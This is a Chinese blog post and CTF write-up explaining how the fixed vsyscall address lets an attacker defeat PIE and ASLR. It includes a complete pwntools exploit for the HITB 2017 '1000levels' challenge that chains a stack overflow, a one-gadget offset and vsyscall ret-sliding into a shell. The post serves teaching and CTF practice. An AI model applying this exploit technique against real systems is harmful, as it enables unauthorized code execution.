linux实验总结1000字,vsyscall总结

利用vsyscall/vsdo技术bypass PIE

我们知道,在开启了ASLR的系统上运行PIE程序,就意味着所有的地址都是随机化的。然而在某些版本的系统中这个结论并不成立,原因是存在着一个神奇的vsyscall。(由于vsyscall在一部分发行版本中的内核已经被裁减掉了,新版的kali也属于其中之一。vsyscall在内核中实现,无法用docker模拟,因此任何与vsyscall相关的实验都改成在Ubuntu 16.04上进行,同时libc中的偏移需要进行修正)

用cat /proc/self/maps查看

00400000-0040c000 r-xp 00000000 08:01 1308185 /bin/cat

0060b000-0060c000 r--p 0000b000 08:01 1308185 /bin/cat

0060c000-0060d000 rw-p 0000c000 08:01 1308185 /bin/cat

0060d000-0062e000 rw-p 00000000 00:00 0 [heap]

7f607413e000-7f6074afd000 r--p 00000000 08:01 663211 /usr/lib/locale/locale-archive

7f6074afd000-7f6074cbd000 r-xp 00000000 08:01 136567 /lib/x86_64-linux-gnu/libc-2.23.so

7f6074cbd000-7f6074ebd000 ---p 001c0000 08:01 136567 /lib/x86_64-linux-gnu/libc-2.23.so

7f6074ebd000-7f6074ec1000 r--p 001c0000 08:01 136567 /lib/x86_64-linux-gnu/libc-2.23.so

7f6074ec1000-7f6074ec3000 rw-p 001c4000 08:01 136567 /lib/x86_64-linux-gnu/libc-2.23.so

7f6074ec3000-7f6074ec7000 rw-p 00000000 00:00 0

7f6074ec7000-7f6074eed000 r-xp 00000000 08:01 136539 /lib/x86_64-linux-gnu/ld-2.23.so

7f60750ae000-7f60750d3000 rw-p 00000000 00:00 0

7f60750ec000-7f60750ed000 r--p 00025000 08:01 136539 /lib/x86_64-linux-gnu/ld-2.23.so

7f60750ed000-7f60750ee000 rw-p 00026000 08:01 136539 /lib/x86_64-linux-gnu/ld-2.23.so

7f60750ee000-7f60750ef000 rw-p 00000000 00:00 0

7ffec1210000-7ffec1231000 rw-p 00000000 00:00 0 [stack]

7ffec1238000-7ffec123b000 r--p 00000000 00:00 0 [vvar]

7ffec123b000-7ffec123d000 r-xp 00000000 00:00 0 [vdso]

ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

多次运行后,发现vsyscall的地址一直保持在固定的地址ffffffffff600000-ffffffffff601000。

使用gdb dump这段内存dump memory ./dump 0xffffffffff600000 0xffffffffff601000

9c5bbc331fb9

我们看到,syscall的机器码是0F 05。

这里面有三个系统调用,从上到下分别是gettimeofday, time和getcpu。

如果直接设置rip执行0xffffffffff600007的syscall时发现提示段错误(got SIGSEGV signal (Segmentation violation))。显然,我们没办法直接利用vsyscall中的syscall指令。这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错。因此,我们唯一的选择就是利用0xffffffffff600000, 0xffffffffff600400, 0xffffffffff600800这三个地址。

例题

HITB GSEC CTF 2017-1000levels

利用

在无法只能修改地址。且只能加减地址,不能泄露地址的时候,例如,我们可以修改栈上的glic地址为One gadget。但是由于题目的局限,这个修改后的one gadget离当前栈的ret地址有一定距离(处于其高位),那么配合栈溢出,我们可以覆盖ret地址为0xffffffffff600000作为NOP Slide,且一直填充到one gadget的地方,这样就能滑动过去知道One gadget了。

一般通过gettimeofday,即地址0xffffffffff600000这样的gadget有以下目的

利用其调用成功后rax返回值为0的特性,使one gadget顺利执行。

有点类似于NOP slide的思想,即写shellcode的时候在前面用大量的NOP进行填充。由于NOP是一条不会改变上下文的空指令,因此执行完一堆NOP后执行shellcode对shellcode的功能并没有影响,且可以增加地址猜测的范围,从一定程度上对抗ASLR。这里我们同样可以用ret指令不停地“滑”到下一条。由于程序开了PIE且没办法泄露内存空间中的地址,我们找不到一个可靠的ret指令所在地址。这个时候vsyscall就派上用场了。因为0xffffffffff600000这个地址是固定且已知的。在无法泄露任何地址(包括开pie程序的或者libc的)的时候,作为少有的固定地址,0xffffffffff600000很适合于作rop链或者NOP Slide

由于vsyscall地址的固定性,这个本来是为了节省开销的设置造成了很大的隐患,因此vsyscall很快就被新的机制vdso所取代。与vsyscall不同的是,vdso的地址也是随机化的,且其中的指令可以任意执行,不需要从入口开始。

1000levels exp

下面是1000levels 在Ubuntu16.04, glibc2.23的环境下的exp

#!/usr/bin/python

#coding:utf-8

from pwn import *

io = process("1000levels")

#io.interactive()

libc_base = -0x45390 #0x456a0 #0x45390 #减去system函数离libc开头的偏移

one_gadget_base = 0x4526a#0x45526 #加上one gadget rce离libc开头的偏移

vsyscall_gettimeofday = 0xffffffffff600000

def answer():

io.recvuntil('Question: ')

answer = eval(io.recvuntil(' = ')[:-3])

io.recvuntil('Answer:')

io.sendline(str(answer))

io.recvuntil('Choice:')

io.sendline('2') #让system的地址进入栈中

io.recvuntil('Choice:')

io.sendline('1') #调用go()

io.recvuntil('How many levels?')

io.sendline('-1') #输入的值必须小于0,防止覆盖掉system的地址

io.recvuntil('Any more?')

io.sendline(str(libc_base+one_gadget_base)) #第二次输入关卡的时候输入偏移值,从而通过相加将system的地址变为one gadget rce的地址

for i in range(999): #循环答题

log.info(i)

answer()

io.recvuntil('Question: ')

#gdb.attach(io,"b _read \n")

io.send('a'*0x38 + p64(vsyscall_gettimeofday)*3) #最后一次回答,通过padding和三个vsyscall中的系统调用执行到one gadget RCE

#io.interactive()

#vsyscall充当了ret的角色,思想类似于NOP slide

io.interactive()

总结

vsyscall的局限

分配的内存较小;

只允许4个系统调用;

Vsyscall页面在每个进程中是静态分配了相同的地址;

vdso

提供和vsyscall相同的功能,同时解决了其局限。

vDSO是动态分配的,地址是随机的;

可以提供超过4个系统调用;

vDSO是glibc库提供的功能;

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值